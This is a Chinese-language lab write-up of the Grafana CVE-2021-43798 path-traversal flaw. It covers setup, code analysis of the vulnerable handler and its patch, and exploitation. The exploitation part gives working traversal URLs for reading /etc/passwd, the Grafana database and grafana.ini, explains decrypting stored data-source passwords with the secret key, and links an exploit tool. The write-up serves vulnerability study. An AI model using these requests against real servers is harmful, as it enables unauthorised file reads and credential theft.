Grafana 任意文件读取漏洞复现分析
CVE-2021-43798
0x01 前言
概述
Grafana
是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。
影响范围
Grafana 8.0.0-beta1 - 8.3.0
安全版本
Grafana >= 8.3.1
Grafana >= 8.2.7
Grafana >= 8.1.8
Grafana >= 8.0.7
0x02 环境搭建
docker
直接拉取官方镜像https://hub.docker.com/r/grafana/grafana/tags
sudo docker pull grafana/grafana:8.3.0-ubuntu
开启容器
sudo docker run -d --name=grafana -p 3000:3000 grafana/grafana:8.3.0-ubuntu
访问虚拟机
http://192.168.159.132:3000/
0x03漏洞分析
github上8.3.1修复了这个漏洞,那么直接查看两者比较即可
可以看到是更改了 pkg/api/plugins.go 文件
下载8.3.0源码,定位到284行也就是getPluginAssets函数
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
pluginID := web.Params(c.Req)[":pluginId"]
plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
if !exists {
c.JsonApiErr(404, "Plugin not found", nil)
return
}
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
if !plugin.IncludedInSignature(requestedFile) {
hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
"is not included in the plugin signature", "file", requestedFile)
}
// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
// use this with a prefix of the plugin's directory, which is set during plugin loading
// nolint:gosec
f, err := os.Open(pluginFilePath)
if err != nil {
if os.IsNotExist(err) {
c.JsonApiErr(404, "Plugin file not found", err)
return
}
c.JsonApiErr(500, "Could not open plugin file", err)
return
}
defer func() {
if err := f.Close(); err != nil {
hs.log.Error("Failed to close file", "err", err)
}
}()
fi, err := f.Stat()
if err != nil {
c.JsonApiErr(500, "Plugin file exists but could not open", err)
return
}
if hs.Cfg.Env == setting.Dev {
c.Resp.Header().Set("Cache-Control", "max-age=0, must-revalidate, no-cache")
} else {
c.Resp.Header().Set("Cache-Control", "public, max-age=3600")
}
http.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)
}
刚开始拿到请求中的插件信息进行判断,插件是否存在,不存在就报错
Plugin not found
存在的话就接下去执行到关键点
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
使用 filepath.Clean对请求进行清理,而Clean作用是这样的
此函数迭代地应用以下规则,直到无法进行进一步处理为止:
- 它用一个替换多个Separator元素。
- 如果指定的路径为空字符串,则返回字符串“.”。
- 它消除了每个。路径名元素(当前目录)。
- 它消除了每个内部…路径名元素(父目录)以及在其前面的non …元素。
- 它消除了…元素开始于根路径:即,在分隔符为“ /”的情况下,在路径的开头用“/”替换“/…”。
**返回值:**通过纯词法处理,它返回与指定路径等效的最短路径名。
范例1:
package main
import (
"fmt"
"path/filepath"
)
// Calling main
func main() {
// Calling the Clean() function
fmt.Println(filepath.Clean("/GFG/./../Geeks"))
fmt.Println(filepath.Clean("GFG/../Geeks"))
fmt.Println(filepath.Clean("..GFG/./../Geeks"))
fmt.Println(filepath.Clean("gfg/../../../Geek/GFG"))
}
输出:
/Geeks
Geeks
Geeks
../../Geek/GFG
可以看出他对…/是没有进行过滤处理的,也就导致了任意目录穿越
当我们传入类似于../../../etc/pass
的路径时,就会被拼接到pluginFilePath
参数中
然后在下面通过Open去成功读取文件内容
路径溯源
r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)
直接在api.go中使用了r.Get()
并没有做身份认证(贴心的备注了身份认证的注释,不在当中)。
所以只要知道一个存在的pluginId,然后调用/public/plugins/:pluginId/*
就可以访问任意文件,比如/public/plugins/:pluginId/../../../../../etc/passwd
。
0x04补丁分析
在8.3.0和8.3.1对比中可以看到新加了一段代码
requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))
rel, err := filepath.Rel("/", requestedFile)
if err != nil {
// this should not never fail
c.JsonApiErr(500, "Relative path found", err)
return
}
主要在 filepath.Rel函数
用法:
func Rel(basepath, targpath string) (string, error)
当使用中间分隔符将其连接到basepath时,Rel返回一个相对路径,该相对路径在词法上等效于targpath。
也就是说,Join(basepath,Rel(basepath,targpath))等同于targpath本身。
成功后,即使basepath和targpath不共享任何元素,返回的路径也始终相对于basepath。
如果无法相对于基本路径创建targpath,或者如果需要知道当前工作目录以进行计算,则会返回错误。 Rel在结果上调用Clean。
示例
package main
import (
"fmt"
"path/filepath"
)
func main() {
paths := []string{
"./a/b/c",
"/b/c",
"/../b/c",
}
base := "/"
fmt.Println("On Unix:")
for _, p := range paths {
rel, err := filepath.Rel(base, p)
fmt.Printf("%q: %q %v\n", p, rel, err)
}
}
输出
On Unix:
"./a/b/c": "" Rel: can't make ./a/b/c relative to /
"/b/c": "b/c" <nil>
"/../b/c": "b/c" <nil>
这样我们就无法实现路径穿越了
0x05漏洞利用
要利用此漏洞,就要先找到安装的插件,常用的插件列表,经过测试全部是默认开启的(可能docker环境不同)
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text
读取linux固定文件
/public/plugins/alertmanager/../../../../../../../../etc/passwd
读取grafana数据库文件
/public/plugins/alertmanager/../../../../../../../../var/lib/grafana/grafana.db
但是password是带salt的,所以不好破解
但是能获取到一些敏感信息,如user_auth_token表中的访问ip
data_source表中的数据库信息
其中密码也是加密存储的
{"password":"M3NybDZNRG3C74ufA1oFVaLzieBN7pJAPJpuC0P2"}
而加密方法是cfb模式下的AES256,秘钥存储在配置文件中
读取配置文件
/public/plugins/alertmanager/../../../../../../../../etc/grafana/grafana.ini
搜索secret_key
SW2YcwTIb9zpOOhoPsMm
这里就不去手动解密了
直接使用师傅已经写好的工具,原理也是自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件,并输出data_sourrce
信息。
https://github.com/A-D-Team/grafanaExp
可以得到自己刚刚创建的数据源的所有信息